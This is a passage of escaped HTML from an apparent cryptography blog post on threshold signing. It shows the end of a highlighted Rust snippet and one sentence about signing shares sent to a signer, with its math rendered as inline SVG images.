&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;            &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;to_bytes&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;    &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The signing shares are basically just &lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%2280.2882888888889pt%22%20height%3D%2221.878999999999998pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%2080.2882888888889%2021.878999999999998%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20fill%3D%22%23000000%22%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%206.37%2018.59%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2010.774%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2015.831%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2021.37%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2030.742%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2038.672%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2043.157%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2048.938%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2058.087%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2070.37%2015.379%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.176%208.229c0%20.572-.559.936-1.17.936-.806%200-1.365-.52-1.664-1.547-.065-.234-.208-.897-.416-1.989h-.845c-.286%200-.429-.013-.429-.286%200-.143.13-.208.403-.208h.78L2.886.104c-.143-.741-.273-1.287-.39-1.651-.156-.481-.377-.728-.663-.728a.9.9%200%200%200-.494.143c.416.065.624.312.624.728%200%20.338-.169.507-.52.507-.442%200-.754-.39-.754-.832%200-.572.533-.936%201.144-.936.325%200%20.624.13.871.403.416.429.741%201.04.975%201.859.143.507.273%201.001.364%201.495l.754%204.043h1.066c.299%200%20.429.013.429.312%200%20.117-.13.182-.39.182H4.901c.078.533.442%202.496.559%202.743.13.273.312.403.546.403a.93.93%200%200%200%20.507-.143c-.403-.091-.611-.325-.611-.728%200-.338.169-.507.52-.507.442%200%20.754.39.754.832%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22b%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M2.958%205.651a.38.38%200%200%201-.392.382c-.273%200-.537-.255-.537-.527a.38.38%200%200%201%20.392-.383c.273%200%20.537.255.537.528m-1.21-1.61q-.642%200-1.01-.656c-.21-.364-.31-.619-.31-.764%200-.1.063-.146.182-.146.1%200%20.163.055.2.164.21.719.51%201.074.91%201.074.127%200%20.191-.091.191-.282%200-.119-.091-.41-.273-.883l-.564-1.447A1.1%201.1%200%200%201%20.992.71c0-.473.41-.801.883-.801.427%200%20.755.218%201%20.664.21.364.31.61.31.747%200%20.1-.064.154-.182.154-.055-.009-.118-.054-.182-.145a.1.1%200%200%201-.018-.037c-.21-.7-.51-1.055-.901-1.055q-.19%200-.191.273c0%20.136.045.327.145.564l.72%201.865q.054.15.054.3c0%20.474-.41.801-.883.801%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22c%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.134-3.224c.117%200%20.182.065.182.182%200%20.039-.026.091-.065.143-.676.52-1.222%201.378-1.625%202.561-.351%201.027-.533%202.041-.533%203.042v1.092c0%201.001.182%202.015.533%203.042.403%201.183.949%202.041%201.625%202.561a.2.2%200%200%201%20.065.143c0%20.117-.065.182-.182.182a.2.2%200%200%201-.091-.039c-.78-.598-1.43-1.482-1.963-2.665-.507-1.131-.767-2.197-.767-3.224V2.704c0-1.027.26-2.093.767-3.224.533-1.183%201.183-2.067%201.963-2.665a.2.2%200%200%201%20.091-.039%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22d%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.121%205.096c.702%201.053%201.053%202.067%201.053%203.016%200%20.702-.273%201.053-.806%201.053-.507%200-.988-.377-1.469-1.144-.299-.481-.533-.91-.702-1.3-.676-1.547-1.014-3.029-1.014-4.433l-.962-.936q-.078-.097-.078-.156c0-.143.065-.221.208-.221.052%200%20.338.26.871.78.182-1.274.676-1.911%201.469-1.911.481%200%201.066.299%201.742.91q.312.273.312.39c0%20.143-.065.208-.208.208-.039%200-.104-.039-.195-.13C3.666.559%203.12.234%202.717.234c-.481%200-.728.533-.728%201.612%200%20.78-.013.689.325%201.027a14.3%2014.3%200%200%201%201.807%202.223m.26%203.679c.26%200%20.39-.208.39-.611%200-1.391-.871-3.016-2.626-4.888.182%201.027.832%203.419%201.261%204.329q.566%201.17.975%201.17%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22e%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.014-3.185c.78.598%201.43%201.482%201.963%202.665.507%201.131.767%202.197.767%203.224v1.092c0%201.027-.26%202.093-.767%203.224-.533%201.183-1.183%202.067-1.963%202.665a.2.2%200%200%201-.091.039c-.117%200-.182-.065-.182-.182%200-.052.026-.104.065-.143.676-.52%201.222-1.378%201.625-2.561.351-1.027.533-2.041.533-3.042V2.704c0-1.001-.182-2.015-.533-3.042-.403-1.183-.949-2.041-1.625-2.561-.039-.052-.065-.104-.065-.143%200-.117.065-.182.182-.182.013%200%20.052.013.091.039%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22f%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.807-3.25c.169%200%20.26.104.26.312V9.438c0%20.208-.091.312-.26.312s-.26-.104-.26-.312V-2.938c0-.208.091-.312.26-.312%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22g%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.692%208.073c0%20.351-.169.52-.52.52-.364%200-.728-.364-.728-.728%200-.351.182-.52.533-.52.364%200%20.715.364.715.728m-.325-6.279C3.081.767%202.665.247%202.132.247c-.169%200-.26.117-.26.364%200%20.221.377%201.339%201.144%203.367q.156.449.156.702c0%20.637-.442%201.105-1.079%201.105-.559%200-1.001-.325-1.326-.988q-.39-.8-.39-1.053c0-.117.065-.169.208-.169.169%200%20.195.078.247.26.299%201.04.702%201.56%201.222%201.56.169%200%20.26-.117.26-.364%200-.182-.039-.39-.13-.637-.299-.819-.611-1.69-.871-2.379-.195-.52-.299-.871-.299-1.053%200-.637.468-1.105%201.092-1.105q.838%200%201.326.975c.247.507.377.858.377%201.053%200%20.117-.065.182-.208.182-.039%200-.234-.117-.234-.273%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22h%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.807%201.378c-.416%200-.689-.312-.689-.728a.7.7%200%200%201%20.689-.715c.182%200%20.338.052.455.169L2.275%200c0-.819-.273-1.521-.819-2.08-.091-.104-.143-.182-.143-.234%200-.13.052-.195.169-.195s.273.156.494.455c.442.624.663%201.313.663%202.054%200%20.689-.234%201.378-.832%201.378%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22i%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.319.052h-2.47c-.819%200-1.547.273-2.145.832A3.12%203.12%200%200%200%201.69%202.938h5.629q.312%200%20.312.312t-.312.312H1.69a3.12%203.12%200%200%200%201.014%202.054c.598.559%201.326.832%202.145.832h2.47c.208%200%20.312.104.312.299q0%20.312-.312.312h-2.47c-1.053%200-1.95-.364-2.691-1.105S1.053%204.316%201.053%203.25%201.417%201.287%202.158.546%203.796-.559%204.849-.559h2.47q.312%200%20.312.312c0%20.156-.143.299-.312.299%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22j%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22m5.395%208.424-1.3-5.213C3.783%201.963%203.393%201.144%202.912.754%202.6.507%202.327.377%202.093.377q-.429%200-.429.351c0%20.117.091.481.091.598%200%20.299-.143.442-.416.442-.403%200-.65-.208-.767-.624C.351.325.91-.143%201.677-.143c1.196%200%202.21.871%202.665%201.716.234.429.65%201.495.806%202.158%201.131.013%202.106.338%202.925.988a3.46%203.46%200%200%201%201.248%201.937c.065.247.091.468.091.663%200%20.325-.078.585-.247.806-.39.533-1.287.793-2.678.806l.052.234-.143.065-.845-.325c-1.144%200-2.093-.286-2.834-.858-.663-.494-1.066-1.04-1.209-1.651-.156-.637-.039-.962.351-.962.117%200%20.273.065.442.182.208.182.286.403.234.819q.039.449.039.507c.26.975%201.508%201.469%202.821%201.482m2.717-.494c.182-.247.273-.533.273-.845%200-.156-.026-.325-.065-.494-.403-1.56-1.43-2.353-3.055-2.379l1.053%204.212q.78%200%201.131-.117c.325-.104.546-.234.663-.377%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-inline typst-doc&quot; style=&quot;vertical-align: -0.5909090909090907em; width: 7.298935353535355em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt; being sent to signer &lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%225.538pt%22%20height%3D%2221.878999999999998pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%205.538%2021.878999999999998%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5